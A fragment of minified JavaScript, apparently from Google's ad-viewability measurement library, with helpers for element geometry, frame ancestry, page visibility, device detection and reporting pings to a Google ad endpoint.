sL=function(){oF.call(this)};
uO=function(){oF.call(this)};
$a=function(){this.C={};this.Z=!0;this.j={}};
HD=function(x,T,t){x.C[T]||(x.C[T]=new t8(t));return x.C[T]};
mYH=function(x){x.C.queryid||(x.C.queryid=new uO)};
iO=function(x,T,t){(x=x.C[T])&&x.j(t)};
IF=function(x,T){if(g.UA(x.j,T))return x.j[T];if(x=x.C[T])return x.getValue()};
EL=function(x){var T={},t=g.Aq(x.C,function(u){return u.C});
g.Mg(t,function(u,H){u=x.j[H]!==void 0?String(x.j[H]):u.C&&u.Z!==null?String(u.Z):"";u.length>0&&(T[H]=u)},x);
return T};
dYv=function(x){x=EL(x);var T=[];g.Mg(x,function(t,u){u in Object.prototype||typeof t!="undefined"&&T.push([u,":",t].join(""))});
return T};
Aaq=function(x){HD(x,"od",MLi);HD(x,"opac",qj).C=!0;HD(x,"sbeos",qj).C=!0;HD(x,"prf",qj).C=!0;HD(x,"mwt",qj).C=!0;HD(x,"iogeo",qj)};
RxJ=function(){this.C=this.Fn=null};
Zj=function(){};
eC=function(){if(!jC())throw Error();};
jC=function(){return!(!lO||!lO.performance)};
m0=function(x){return x?x.passive&&Pfq()?x:x.capture||!1:!1};
d7=function(x,T,t,u){return x.addEventListener?(x.addEventListener(T,t,m0(u)),!0):!1};
Mj=function(x){return x.prerendering?3:{visible:1,hidden:2,prerender:3,preview:4,unloaded:5}[x.visibilityState||x.webkitVisibilityState||x.mozVisibilityState||""]||0};
SeC=function(){};
ca4=function(){return(hM||vE)&&V3?V3.mobile:!A8()&&(LC("iPod")||LC("iPhone")||LC("Android")||LC("IEMobile"))};
A8=function(){return(hM||vE)&&V3?!V3.mobile&&(LC("iPad")||LC("Android")||LC("Silk")):LC("iPad")||LC("Android")&&!LC("Mobile")||LC("Silk")};
RF=function(x){try{return!!x&&x.location.href!=null&&uFq(x,"foo")}catch(T){return!1}};
PD=function(x,T){if(x)for(var t in x)Object.prototype.hasOwnProperty.call(x,t)&&T(x[t],t,x)};
UYD=function(){var x=[];PD(Yef,function(T){x.push(T)});
return x};
bqm=function(x){var T,t;return(t=(T=/https?:\/\/[^\/]+/.exec(x))==null?void 0:T[0])!=null?t:""};
kli=function(){var x=ram("IFRAME"),T={};g.lg(zx3(),function(t){x.sandbox&&x.sandbox.supports&&x.sandbox.supports(t)&&(T[t]=!0)});
return T};
ram=function(x,T){T=T===void 0?document:T;return T.createElement(String(x).toLowerCase())};
FDi=function(x){for(var T=x;x&&x!=x.parent;)x=x.parent,RF(x)&&(T=x);return T};
Gl4=function(x){x=x||SC();for(var T=new hxH(g.BX.location.href,!1),t=null,u=x.length-1,H=u;H>=0;--H){var I=x[H];!t&&v5f.test(I.url)&&(t=I);if(I.url&&!I.U1){T=I;break}}H=null;I=x.length&&x[u].url;T.depth!=0&&I&&(H=x[u]);return new VLv(T,H,t)};
SC=function(){var x=g.BX,T=[],t=null;do{var u=x;if(RF(u)){var H=u.location.href;t=u.document&&u.document.referrer||null}else H=t,t=null;T.push(new hxH(H||""));try{x=u.parent}catch(I){x=null}}while(x&&u!=x);u=0;for(x=T.length-1;u<=x;++u)T[u].depth=x-u;u=g.BX;if(u.location&&u.location.ancestorOrigins&&u.location.ancestorOrigins.length==T.length-1)for(x=1;x<T.length;++x)H=T[x],H.url||(H.url=u.location.ancestorOrigins[x-1]||"",H.U1=!0);return T};
VLv=function(x,T,t){this.C=x;this.Z=T;this.j=t};
hxH=function(x,T){this.url=x;this.U1=!!T;this.depth=null};
cD=function(){this.j="&";this.Z={};this.K=0;this.C=[]};
Ya=function(x,T){var t={};t[x]=T;return[t]};
LDX=function(x,T,t,u,H){var I=[];PD(x,function(E,Z){(E=UL(E,T,t,u,H))&&I.push(Z+"="+E)});
return I.join(T)};
UL=function(x,T,t,u,H){if(x==null)return"";T=T||"&";t=t||",$";typeof t==="string"&&(t=t.split(""));if(x instanceof Array){if(u||(u=0),u<t.length){for(var I=[],E=0;E<x.length;E++)I.push(UL(x[E],T,t,u+1,H));return I.join(t[u])}}else if(typeof x==="object")return H||(H=0),H<2?encodeURIComponent(LDX(x,T,t,u,H+1)):"...";return encodeURIComponent(String(x))};
n5J=function(x){var T=1,t;for(t in x.Z)t.length>T&&(T=t.length);return 3997-T-x.j.length-1};
bO=function(x,T){this.C=x;this.depth=T};
g5D=function(){function x(Z,e){return Z==null?e:Z}
var T=SC(),t=Math.max(T.length-1,0),u=Gl4(T);T=u.C;var H=u.Z,I=u.j,E=[];I&&E.push(new bO([I.url,I.U1?2:0],x(I.depth,1)));H&&H!=I&&E.push(new bO([H.url,2],0));T.url&&T!=I&&E.push(new bO([T.url,0],x(T.depth,t)));u=g.r7(E,function(Z,e){return E.slice(0,E.length-e)});
!T.url||(I||H)&&T!=I||(H=bqm(T.url))&&u.push([new bO([H,1],x(T.depth,t))]);u.push([]);return g.r7(u,function(Z){return aHm(t,Z)})};
aHm=function(x,T){g.zu(T,function(H){return H.depth>=0});
var t=ka(T,function(H,I){return Math.max(H,I.depth)},-1),u=t03(t+2);
u[0]=x;g.lg(T,function(H){return u[H.depth+1]=H.C});
return u};
Bd4=function(){var x=x===void 0?g5D():x;return x.map(function(T){return UL(T)})};
WDV=function(x){var T=!1;T=T===void 0?!1:T;lO.google_image_requests||(lO.google_image_requests=[]);var t=ram("IMG",lO.document);T&&(t.attributionSrc="");t.src=x;lO.google_image_requests.push(t)};
Fr=function(x){var T="Qs";if(x.Qs&&x.hasOwnProperty(T))return x.Qs;var t=new x;x.Qs=t;x.hasOwnProperty(T);return t};
h8=function(){this.Z=new SeC;this.C=jC()?new eC:new Zj};
DY5=function(){vD();var x=lO.document;return!!(x&&x.body&&x.body.getBoundingClientRect&&typeof lO.setInterval==="function"&&typeof lO.clearInterval==="function"&&typeof lO.setTimeout==="function"&&typeof lO.clearTimeout==="function")};
yaJ=function(){vD();return Bd4()};
Nd3=function(){};
vD=function(){var x=Fr(Nd3);if(!x.C){if(!lO)throw Error("Context has not been set and window is undefined.");x.C=Fr(h8)}return x.C};
Vi=function(x){this.Ue=Vd(x)};
Jaf=function(x){this.j=x;this.C=-1;this.Z=this.K=0};
Gu=function(x,T){return function(){var t=g.FD.apply(0,arguments);if(x.C>-1)return T.apply(null,g.U(t));try{return x.C=x.j.C.now(),T.apply(null,g.U(t))}finally{x.K+=x.j.C.now()-x.C,x.C=-1,x.Z+=1}}};
CfC=function(x,T){this.Z=x;this.j=T;this.C=new Jaf(x)};
QZD=function(){this.C={}};
Oq3=function(){var x=L$().flags,T=pdH;x=x.C[T.key];if(T.valueType==="proto"){try{var t=JSON.parse(x);if(Array.isArray(t))return t}catch(u){}return T.defaultValue}return typeof x===typeof T.defaultValue?x:T.defaultValue};
Xdq=function(){this.j=void 0;this.Z=this.D=0;this.T=-1;this.Ru=new $a;HD(this.Ru,"mv",fHi).C=!0;HD(this.Ru,"omid",qj);HD(this.Ru,"epoh",qj).C=!0;HD(this.Ru,"epph",qj).C=!0;HD(this.Ru,"umt",qj).C=!0;HD(this.Ru,"phel",qj).C=!0;HD(this.Ru,"phell",qj).C=!0;HD(this.Ru,"oseid",wdC).C=!0;var x=this.Ru;x.C.sloi||(x.C.sloi=new sL);x.C.sloi.C=!0;HD(this.Ru,"mm",n$);HD(this.Ru,"ovms",KDC).C=!0;HD(this.Ru,"xdi",qj).C=!0;HD(this.Ru,"amp",qj).C=!0;HD(this.Ru,"prf",qj).C=!0;HD(this.Ru,"gtx",qj).C=!0;HD(this.Ru,
"mvp_lv",qj).C=!0;HD(this.Ru,"ssmol",qj).C=!0;HD(this.Ru,"fmd",qj).C=!0;HD(this.Ru,"gen204simple",qj);this.C=new CfC(vD(),this.Ru);this.K=!1;this.flags=new QZD};
L$=function(){return Fr(Xdq)};
xqf=function(x,T,t,u){if(Math.random()<(u||x.C))try{if(t instanceof cD)var H=t;else H=new cD,PD(t,function(E,Z){var e=H,l=e.K++;E=Ya(Z,E);e.C.push(l);e.Z[l]=E});
var I=H.sY(x.Z,"pagead2.googlesyndication.com","/pagead/gen_204?id="+T+"&");I&&(vD(),WDV(I))}catch(E){}};
Ta3=function(x,T,t){t=t===void 0?{}:t;this.error=x;this.context=T.context;this.msg=T.message||"";this.id=T.id||"jserror";this.meta=t};
oFX=function(){var x=x===void 0?g.BX:x;return(x=x.performance)&&x.now&&x.timing?Math.floor(x.now()+x.timing.navigationStart):g.x9()};
t9D=function(){var x=x===void 0?g.BX:x;return(x=x.performance)&&x.now?x.now():null};
sAC=function(x,T,t){this.label=x;this.type=T;this.value=t;this.duration=0;this.taskId=this.slotId=void 0;this.uniqueId=Math.random()};
g7=function(){var x=window;this.events=[];this.Z=x||g.BX;var T=null;x&&(x.google_js_reporting_queue=x.google_js_reporting_queue||[],this.events=x.google_js_reporting_queue,T=x.google_measure_js_timing);this.C=aF()||(T!=null?T:Math.random()<1)};
ulV=function(x){x&&BD&&aF()&&(BD.clearMarks("goog_"+x.label+"_"+x.uniqueId+"_start"),BD.clearMarks("goog_"+x.label+"_"+x.uniqueId+"_end"))};
$qm=function(){var x=WD;this.C=Dj;this.LY="jserror";this.Nc=!0;this.HT=null;this.Z=this.s1;this.eg=x===void 0?null:x};
HkV=function(x,T,t){var u=yi;return Gu(L$().C.C,function(){try{if(u.eg&&u.eg.C){var H=u.eg.start(x.toString(),3);var I=T();u.eg.end(H)}else I=T()}catch(Z){var E=u.Nc;try{ulV(H),E=u.Z(x,new Nj(J8(Z)),void 0,t)}catch(e){u.s1(217,e)}if(!E)throw Z;}return I})()};
C$=function(x,T,t,u){return Gu(L$().C.C,function(){var H=g.FD.apply(0,arguments);return HkV(x,function(){return T.apply(t,H)},u)})};
J8=function(x){var T=x.toString();x.name&&T.indexOf(x.name)==-1&&(T+=": "+x.name);x.message&&T.indexOf(x.message)==-1&&(T+=": "+x.message);if(x.stack)a:{x=x.stack;var t=T;try{x.indexOf(t)==-1&&(x=t+"\n"+x);for(var u;x!=u;)u=x,x=x.replace(/((https?:\/..*\/)[^\/:]*:\d+(?:.|\n)*)\2/,"$1");T=x.replace(/\n */g,"\n");break a}catch(H){T=t;break a}T=void 0}return T};
Nj=function(x){Ta3.call(this,Error(x),{message:x})};
ikX=function(){lO&&typeof lO.google_measure_js_timing!="undefined"&&(lO.google_measure_js_timing||WD.disable())};
IMq=function(x){yi.HT=function(T){g.lg(x,function(t){t(T)})}};
EFi=function(x,T){return HkV(x,T)};
Qi=function(x,T){return C$(x,T)};
p$=function(x,T,t,u){yi.s1(x,T,t,u)};
OL=function(){return Date.now()-qWm};
Zki=function(){var x=L$().j,T=f$>=0?OL()-f$:-1,t=w7?OL()-K$:-1,u=Xr>=0?OL()-Xr:-1;if(x==947190542)return 100;if(x==79463069)return 200;x=[2E3,4E3];var H=[250,500,1E3];p$(637,Error(),.001);var I=T;t!=-1&&t<T&&(I=t);for(T=0;T<x.length;++T)if(I<x[T]){var E=H[T];break}E===void 0&&(E=H[x.length]);return u!=-1&&u>1500&&u<4E3?500:E};
x4=function(x,T,t,u){this.top=x;this.right=T;this.bottom=t;this.left=u};
Td=function(x){return x.right-x.left};
o_=function(x,T){return x==T?!0:x&&T?x.top==T.top&&x.right==T.right&&x.bottom==T.bottom&&x.left==T.left:!1};
t2=function(x,T,t){T instanceof g.jo?(x.left+=T.x,x.right+=T.x,x.top+=T.y,x.bottom+=T.y):(x.left+=T,x.right+=T,typeof t==="number"&&(x.top+=t,x.bottom+=t));return x};
s9=function(x,T,t){var u=new x4(0,0,0,0);this.time=x;this.volume=null;this.j=T;this.C=u;this.Z=t};
u2=function(x,T,t,u,H,I,E,Z){this.K=x;this.N=T;this.j=t;this.D=u;this.C=H;this.T=I;this.Z=E;this.J=Z};
euq=function(x){var T=x!==x.top,t=x.top===FDi(x),u=-1,H=0;if(T&&t&&x.top.mraid){u=3;var I=x.top.mraid}else u=(I=x.mraid)?T?t?2:1:0:-1;I&&(I.IS_GMA_SDK||(H=2),WSV(jA3,function(E){return typeof I[E]==="function"})||(H=1));
return{UL:I,compatibility:H,kVW:u}};
lMm=function(){var x=window.document;return x&&typeof x.elementFromPoint==="function"};
mqq=function(x,T,t){x&&T!==null&&T!=T.top&&(T=T.top);try{return(t===void 0?0:t)?(new g.lu(T.innerWidth,T.innerHeight)).round():o1J(T||window).round()}catch(u){return new g.lu(-12245933,-12245933)}};
$4=function(x,T,t){try{x&&(T=T.top);var u=mqq(x,T,t),H=u.height,I=u.width;if(I===-12245933)return new x4(I,I,I,I);var E=sgH(BR(T.document).C),Z=E.x,e=E.y;return new x4(e,Z+I,e+H,Z)}catch(l){return new x4(-12245933,-12245933,-12245933,-12245933)}};
g.Hf=function(x,T,t,u){this.left=x;this.top=T;this.width=t;this.height=u};
I_=function(x,T){return x==T?!0:x&&T?x.left==T.left&&x.width==T.width&&x.top==T.top&&x.height==T.height:!1};
g.Zt=function(x,T,t){if(typeof T==="string")(T=qn(x,T))&&(x.style[T]=t);else for(var u in T){t=x;var H=T[u],I=qn(t,u);I&&(t.style[I]=H)}};
qn=function(x,T){var t=dq4[T];if(!t){var u=Vz3(T);t=u;x.style[u]===void 0&&(u=(g.OA?"Webkit":jw?"Moz":null)+LSC(u),x.style[u]!==void 0&&(t=u));dq4[T]=t}return t};
g.ew=function(x,T){var t=x.style[Vz3(T)];return typeof t!=="undefined"?t:x.style[qn(x,T)]||""};
l2=function(x,T){var t=gg(x);return t.defaultView&&t.defaultView.getComputedStyle&&(x=t.defaultView.getComputedStyle(x,null))?x[T]||x.getPropertyValue(T)||"":""};
mU=function(x,T){return l2(x,T)||(x.currentStyle?x.currentStyle[T]:null)||x.style&&x.style[T]};
g.Mn=function(x,T,t){if(T instanceof g.jo){var u=T.x;T=T.y}else u=T,T=t;x.style.left=g.dl(u,!1);x.style.top=g.dl(T,!1)};
A2=function(x){try{return x.getBoundingClientRect()}catch(T){return{left:0,top:0,right:0,bottom:0}}};
M9i=function(x){var T=gg(x),t=mU(x,"position"),u=t=="fixed"||t=="absolute";for(x=x.parentNode;x&&x!=T;x=x.parentNode)if(x.nodeType==11&&x.host&&(x=x.host),t=mU(x,"position"),u=u&&t=="static"&&x!=T.documentElement&&x!=T.body,!u&&(x.scrollWidth>x.clientWidth||x.scrollHeight>x.clientHeight||t=="fixed"||t=="absolute"||t=="relative"))return x;return null};
g.R_=function(x){var T=gg(x),t=new g.jo(0,0);if(x==(T?gg(T):document).documentElement)return t;x=A2(x);T=sgH(BR(T).C);t.x=x.left+T.x;t.y=x.top+T.y;return t};
Ru4=function(x,T){var t=new g.jo(0,0),u=fI(gg(x));if(!uFq(u,"parent"))return t;do{var H=u==T?g.R_(x):A53(x);t.x+=H.x;t.y+=H.y}while(u&&u!=T&&u!=u.parent&&(x=u.frameElement)&&(u=u.parent));return t};
g.Pf=function(x,T){x=P7H(x);T=P7H(T);return new g.jo(x.x-T.x,x.y-T.y)};
A53=function(x){x=A2(x);return new g.jo(x.left,x.top)};
P7H=function(x){if(x.nodeType==1)return A53(x);x=x.changedTouches?x.changedTouches[0]:x;return new g.jo(x.clientX,x.clientY)};
g.Sw=function(x,T,t){if(T instanceof g.lu)t=T.height,T=T.width;else if(t==void 0)throw Error("missing height argument");x.style.width=g.dl(T,!0);x.style.height=g.dl(t,!0)};
g.dl=function(x,T){typeof x=="number"&&(x=(T?Math.round(x):x)+"px");return x};
g.cf=function(x){var T=SWD;if(mU(x,"display")!="none")return T(x);var t=x.style,u=t.display,H=t.visibility,I=t.position;t.visibility="hidden";t.position="absolute";t.display="inline";x=T(x);t.display=u;t.position=I;t.visibility=H;return x};
SWD=function(x){var T=x.offsetWidth,t=x.offsetHeight,u=g.OA&&!T&&!t;return(T===void 0||u)&&x.getBoundingClientRect?(x=A2(x),new g.lu(x.right-x.left,x.bottom-x.top)):new g.lu(T,t)};
g.Y4=function(x,T){x.style.display=T?"":"none"};
U9=function(x,T){T=Math.pow(10,T);return Math.floor(x*T)/T};
c5X=function(x){return new x4(x.top,x.right,x.bottom,x.left)};
YWV=function(x){var T=x.top||0,t=x.left||0;return new x4(T,t+(x.width||0),T+(x.height||0),t)};
FJ=function(x){return x!=null&&x>=0&&x<=1};
Uqf=function(){var x=g.FF();return x?h2("AmazonWebAppPlatform;Android TV;Apple TV;AppleTV;BRAVIA;BeyondTV;Freebox;GoogleTV;HbbTV;LongTV;MiBOX;MiTV;NetCast.TV;Netcast;Opera TV;PANASONIC;POV_TV;SMART-TV;SMART_TV;SWTV;Smart TV;SmartTV;TV Store;UnionTV;WebOS".split(";"),function(T){return bb(x,T)})||bb(x,"OMI/")&&!bb(x,"XiaoMi/")?!0:bb(x,"Presto")&&bb(x,"Linux")&&!bb(x,"X11")&&!bb(x,"Android")&&!bb(x,"Mobi"):!1};
bkf=function(){this.j=!RF(lO.top);this.isMobileDevice=A8()||ca4();var x=SC();this.domain=x.length>0&&x[x.length-1]!=null&&x[x.length-1].url!=null?g.nq(x[x.length-1].url)||"":"";this.C=new x4(0,0,0,0);this.K=new g.lu(0,0);this.T=new g.lu(0,0);this.N=new x4(0,0,0,0);this.frameOffset=new g.jo(0,0);this.D=0;this.J=!1;this.Z=!(!lO||!euq(lO).UL);this.update(lO)};
r53=function(x,T){T&&T.screen&&(x.K=new g.lu(T.screen.width,T.screen.height))};
zu3=function(x,T){a:{var t=x.C?new g.lu(Td(x.C),x.C.getHeight()):new g.lu(0,0);T=T===void 0?lO:T;T!==null&&T!=T.top&&(T=T.top);var u=0,H=0;try{var I=T.document,E=I.body,Z=I.documentElement;if(I.compatMode=="CSS1Compat"&&Z.scrollHeight)u=Z.scrollHeight!=t.height?Z.scrollHeight:Z.offsetHeight,H=Z.scrollWidth!=t.width?Z.scrollWidth:Z.offsetWidth;else{var e=Z.scrollHeight,l=Z.scrollWidth,m=Z.offsetHeight,d=Z.offsetWidth;Z.clientHeight!=m&&(e=E.scrollHeight,l=E.scrollWidth,m=E.offsetHeight,d=E.offsetWidth);
e>t.height?e>m?(u=e,H=l):(u=m,H=d):e<m?(u=e,H=l):(u=m,H=d)}var M=new g.lu(H,u);break a}catch(A){M=new g.lu(-12245933,-12245933);break a}M=void 0}x.T=M};
Gd=function(){var x=vf();if(x.D>0||x.J)return!0;x=vD().Z.isVisible();var T=Mj(Va)===0;return x||T};
vf=function(){return Fr(bkf)};
LE=function(x){this.j=x;this.Z=0;this.C=null};
nE=function(x,T,t){this.j=x;this.nf=t===void 0?"na":t;this.T=[];this.isInitialized=!1;this.K=new s9(-1,!0,this);this.C=this;this.J=T;this.ZZ=this.S=!1;this.Om="uk";this.Hv=!1;this.D=!0};
a_=function(x,T){g.wy(x.T,T)||(x.T.push(T),T.A5(x.C),T.Ud(x.K),T.O$()&&(x.S=!0))};
ke3=function(x){x=x.C;x.g2();x.nV();var T=vf();T.N=$4(!1,x.j,T.isMobileDevice);zu3(vf(),x.j);x.K.C=x.XM()};
FnX=function(x){x.S=x.T.length?h2(x.T,function(T){return T.O$()}):!1};
huH=function(x){var T=g.o2(x.T);g.lg(T,function(t){t.Ud(x.K)})};
gl=function(x){var T=g.o2(x.T);g.lg(T,function(t){t.A5(x.C)});
x.C!=x||huH(x)};
Bf=function(x,T,t,u){this.element=x;this.C=new x4(0,0,0,0);this.j=null;this.D=new x4(0,0,0,0);this.Z=T;this.Ru=t;this.Hv=u;this.uG=!1;this.timestamp=-1;this.S=new u2(T.K,this.element,this.C,new x4(0,0,0,0),0,0,OL(),0);this.T=void 0};
vFv=function(x,T){return x.T?new x4(Math.max(T.top+x.T.top,T.top),Math.min(T.left+x.T.right,T.right),Math.min(T.top+x.T.bottom,T.bottom),Math.max(T.left+x.T.left,T.left)):T.clone()};
Wf=function(x){this.T=!1;this.C=x;this.K=function(){}};
V9f=function(x,T,t){this.j=t===void 0?0:t;this.Z=x;this.C=T==null?"":T};
Geq=function(x){switch(Math.trunc(x.j)){case -16:return-16;case -8:return-8;case 0:return 0;case 8:return 8;case 16:return 16;default:return 16}};
Lnf=function(x,T){return x.j<T.j?!0:x.j>T.j?!1:x.Z<T.Z?!0:x.Z>T.Z?!1:typeof x.C<typeof T.C?!0:typeof x.C>typeof T.C?!1:x.C<T.C};
Dt=function(){this.j=0;this.C=[];this.Z=!1};
nF3=function(x,T){(0,g.lg)(T.C,function(t){x.add(t.Z,t.C,Geq(t))})};
ya=function(x,T){var t=t===void 0?0:t;var u=u===void 0?!0:u;PD(T,function(H,I){u&&H===void 0||x.add(I,H,t)});
return x};
Nn=function(x){var T=aMm;x.Z&&(g.Ey(x.C,function(t,u){return Lnf(u,t)?1:Lnf(t,u)?-1:0}),x.Z=!1);
return ka(x.C,function(t,u){u=T(u);return""+t+(t!=""&&u!=""?"&":"")+u},"")};
aMm=function(x){var T=x.Z;x=x.C;return x===""?T:typeof x==="boolean"?x?T:"":Array.isArray(x)?x.length===0?T:T+"="+x.join():T+"="+(g.wy(["mtos","tos","p"],T)?x:encodeURIComponent(x))};
gFC=function(x){var T=T===void 0?!0:T;this.C=new Dt;x!==void 0&&nF3(this.C,x);T&&this.C.add("v","unreleased",-16)};
Baf=function(x){var T=[],t=[];g.Mg(x,function(u,H){if(!(H in Object.prototype)&&typeof u!="undefined")switch(Array.isArray(u)&&(u=u.join(",")),u=[H,"=",u].join(""),H){case "adk":case "r":case "tt":case "error":case "mtos":case "tos":case "p":case "bs":T.unshift(u);break;case "req":case "url":case "referrer":case "iframe_loc":t.push(u);break;default:T.push(u)}});
return T.concat(t)};
WnH=function(x){x=x.toString();vD();WDV(x)};
DqV=function(){this.C=0};
y54=function(x,T,t){(0,g.lg)(x.j,function(u){var H=x.C;if(!u.C&&(u.j(T,t),u.K())){u.C=!0;var I=u.Z(),E=new Dt;E.add("id","av-js");E.add("type","verif");E.add("vtype",u.T);u=Fr(DqV);E.add("i",u.C++);E.add("adk",H);ya(E,I);H=new gFC(E);WnH(H)}})};
J2=function(){this.Z=this.j=this.K=this.C=0};
CE=function(x){this.Z=x=x===void 0?Nai:x;this.C=g.r7(this.Z,function(){return new J2})};
Qa=function(x,T){return J5i(x,function(t){return t.C},T===void 0?!0:T)};
O9=function(x,T){return pE(x,T,function(t){return t.C})};
C7v=function(x,T){return J5i(x,function(t){return t.j},T===void 0?!0:T)};
fE=function(x,T){return pE(x,T,function(t){return t.j})};
wl=function(x,T){return pE(x,T,function(t){return t.Z})};
QAm=function(x){g.lg(x.C,function(T){T.Z=0})};
J5i=function(x,T,t){x=g.r7(x.C,function(u){return T(u)});
return t?x:pOf(x)};
pE=function(x,T,t){var u=g.fC(x.Z,function(H){return T<=H});
return u==-1?0:t(x.C[u])};
pOf=function(x){return g.r7(x,function(T,t,u){return t>0?u[t]-u[t-1]:u[t]})};
KE=function(){this.Z=new CE;this.nf=this.QU=0;this.AQ=new J2;this.jY=this.N=-1;this.SY=1E3;this.Ee=new CE([1,.9,.8,.7,.6,.5,.4,.3,.2,.1,0]);this.Om=this.uG=-1};
XJ=function(x,T){return C7v(x.Z,T===void 0?!0:T)};
xJ=function(x,T,t,u){var H=H===void 0?!1:H;t=C$(u,t);d7(x,T,t,{capture:H})};
om=function(x,T){T=Ts(T);return T===0?0:Ts(x)/T};
Ts=function(x){return Math.max(x.bottom-x.top,0)*Math.max(x.right-x.left,0)};
Okm=function(x,T){if(!x||!T)return!1;for(var t=0;x!==null&&t++<100;){if(x===T)return!0;try{if(x=x.parentElement||x){var u=gg(x),H=u&&fI(u),I=H&&H.frameElement;I&&(x=I)}}catch(E){break}}return!1};
fMC=function(x,T,t){if(!x||!T)return!1;T=t2(x.clone(),-T.left,-T.top);x=(T.left+T.right)/2;T=(T.top+T.bottom)/2;RF(window.top)&&window.top&&window.top.document&&(window=window.top);if(!lMm())return!1;x=window.document.elementFromPoint(x,T);if(!x)return!1;T=(T=(T=gg(t))&&T.defaultView&&T.defaultView.frameElement)&&Okm(T,x);var u=x===t;x=!u&&x&&HQ(x,function(H){return H===t});
return!(T||u||x)};
wOX=function(x,T,t,u){return vf().j?!1:Td(x)<=0||x.getHeight()<=0?!0:t&&u?EFi(208,function(){return fMC(x,T,t)}):!1};
tp=function(x,T,t){g.W.call(this);this.position=Kn4.clone();this.lY=this.oa();this.N3=-2;this.timeCreated=Date.now();this.S0=-1;this.W$=T;this.bS=null;this.LW=!1;this.py=null;this.opacity=-1;this.requestSource=t;this.Ndu=!1;this.V0=function(){};
this.Ip=function(){};
this.PD=new RxJ;this.PD.Fn=x;this.PD.C=x;this.QW=!1;this.s6={C0:null,b2:null};this.QC=!0;this.gh=null;this.i8=this.mjf=!1;L$().D++;this.H_=this.uu();this.Jt=-1;this.aW=null;this.hasCompleted=this.YmU=!1;this.Ru=new $a;Aaq(this.Ru);XOi(this);this.requestSource==1?iO(this.Ru,"od",1):iO(this.Ru,"od",0)};
XOi=function(x){x=x.PD.Fn;var T;if(T=x&&x.getAttribute)T=/-[a-z]/.test("googleAvInapp")?!1:x6H&&x.dataset?"googleAvInapp"in x.dataset:x.hasAttribute?x.hasAttribute("data-"+GH4()):!!x.getAttribute("data-"+GH4());T&&(vf().Z=!0)};
sS=function(x,T){T!=x.i8&&(x.i8=T,x=vf(),T?x.D++:x.D>0&&x.D--)};
Twf=function(x,T){if(x.aW){if(T.getName()===x.aW.getName())return;x.aW.dispose();x.aW=null}T=T.create(x.PD.C,x.Ru,x.O$());if(T=T!=null&&T.observe()?T:null)x.aW=T};
oLV=function(x,T,t){if(!x.bS||x.W$==-1||T.Z===-1||x.bS.Z===-1)return 0;x=T.Z-x.bS.Z;return x>t?0:x};
t3V=function(x,T,t){if(x.aW){x.aW.V3();var u=x.aW.S,H=u.K,I=H.C;if(u.D!=null){var E=u.j;x.py=new g.jo(E.left-I.left,E.top-I.top)}I=x.MZ()?Math.max(u.C,u.T):u.C;E={};H.volume!==null&&(E.volume=H.volume);H=x.wj(u);x.bS=u;x.Nj(I,T,t,!1,E,H,u.J)}};
sCD=function(x){if(x.LW&&x.gh){var T=IF(x.Ru,"od")==1,t=vf().C,u=x.gh,H=x.aW?x.aW.getName():"ns",I=x.py,E=new g.lu(Td(t),t.getHeight());t=x.MZ();x={l$Y:H,py:I,Ks9:E,MZ:t,Jo:x.H_.Jo,ClZ:T};if(T=u.Z){T.V3();H=T.S;I=H.K.C;var Z=E=null;H.D!=null&&I&&(E=H.j,E=new g.jo(E.left-I.left,E.top-I.top),Z=new g.lu(I.right-I.left,I.bottom-I.top));H=t?Math.max(H.C,H.T):H.C;t={l$Y:T.getName(),py:E,Ks9:Z,MZ:t,ClZ:!1,Jo:H}}else t=null;t&&y54(u,x,t)}};
uiJ=function(x,T,t){T&&(x.V0=T);t&&(x.Ip=t)};
g.uI=function(){};
g.$J=function(x){return{value:x,done:!1}};
$6D=function(){this.K=this.C=this.j=this.Z=this.T=0};
HsD=function(x){var T={};var t=g.x9()-x.T;T=(T.ptlt=t,T);(t=x.Z)&&(T.pnk=t);(t=x.j)&&(T.pnc=t);(t=x.K)&&(T.pnmm=t);(x=x.C)&&(T.pns=x);return T};
isX=function(){Tu.call(this);this.fullscreen=!1;this.volume=void 0;this.paused=!1;this.mediaTime=-1};
HY=function(x){return FJ(x.volume)&&x.volume>0};
iI=function(x,T,t,u){t=t===void 0?!0:t;u=u===void 0?function(){return!0}:u;
return function(H){var I=H[x];if(Array.isArray(I)&&u(H))return Iri(I,T,t)}};
Im=function(x,T){return function(t){return T(t)?t[x]:void 0}};
ELD=function(x){return function(T){for(var t=0;t<x.length;t++)if(x[t]===T.e||x[t]===void 0&&!T.hasOwnProperty("e"))return!0;return!1}};
Iri=function(x,T,t){return t===void 0||t?g.ES(x,function(u,H){return g.wy(T,H)}):g.r7(T,function(u,H,I){return x.slice(H>0?I[H-1]+1:0,u+1).reduce(function(E,Z){return E+Z},0)})};
qpV=function(){this.Z=this.C=""};
Zs5=function(){};
qz=function(x,T){var t={};if(x!==void 0)if(T!=null)for(var u in T){var H=T[u];u in Object.prototype||H!=null&&(t[u]=typeof H==="function"?H(x):x[H])}else g.V9(t,x);return Nn(ya(new Dt,t))};
jCD=function(){var x={};this.Z=(x.vs=[1,0],x.vw=[0,1],x.am=[2,2],x.a=[4,4],x.f=[8,8],x.bm=[16,16],x.b=[32,32],x.avw=[0,64],x.avs=[64,0],x.pv=[256,256],x.gdr=[0,512],x.p=[0,1024],x.r=[0,2048],x.m=[0,4096],x.um=[0,8192],x.ef=[0,16384],x.s=[0,32768],x.pmx=[0,16777216],x.mut=[33554432,33554432],x.umutb=[67108864,67108864],x.tvoff=[134217728,134217728],x);this.C={};for(var T in this.Z)this.Z[T][1]>0&&(this.C[T]=0);this.j=0};
ZK=function(x,T){var t=x.Z[T],u=t[1];x.j+=t[0];u>0&&x.C[T]==0&&(x.C[T]=1)};
ezH=function(x){var T=g.YO(x.Z),t=0,u;for(u in x.C)g.wy(T,u)&&x.C[u]==1&&(t+=x.Z[u][1],x.C[u]=2);return t};
lrq=function(x){var T=0,t;for(t in x.C){var u=x.C[t];if(u==1||u==2)T+=x.Z[t][1]}return T};
j5=function(){this.C=this.Z=0};
e5=function(){KE.call(this);this.j=new J2;this.G9=this.S=this.Hv=0;this.J=-1;this.Cz=new J2;this.T=new J2;this.C=new CE;this.D=this.K=-1;this.ZZ=new J2;this.SY=2E3;this.hQ=new j5;this.tQ=new j5;this.mu=new j5};
lI=function(x,T,t){var u=x.G9;w7||t||x.J==-1||(u+=T-x.J);return u};
m6H=function(){this.j=!1};
mL=function(x,T){this.j=!1;this.K=x;this.S=T;this.T=0};
dT=function(x,T){mL.call(this,x,T);this.N=[]};
d65=function(){};
Mz=function(){};
Ap=function(x,T,t,u){Bf.call(this,x,T,t,u)};
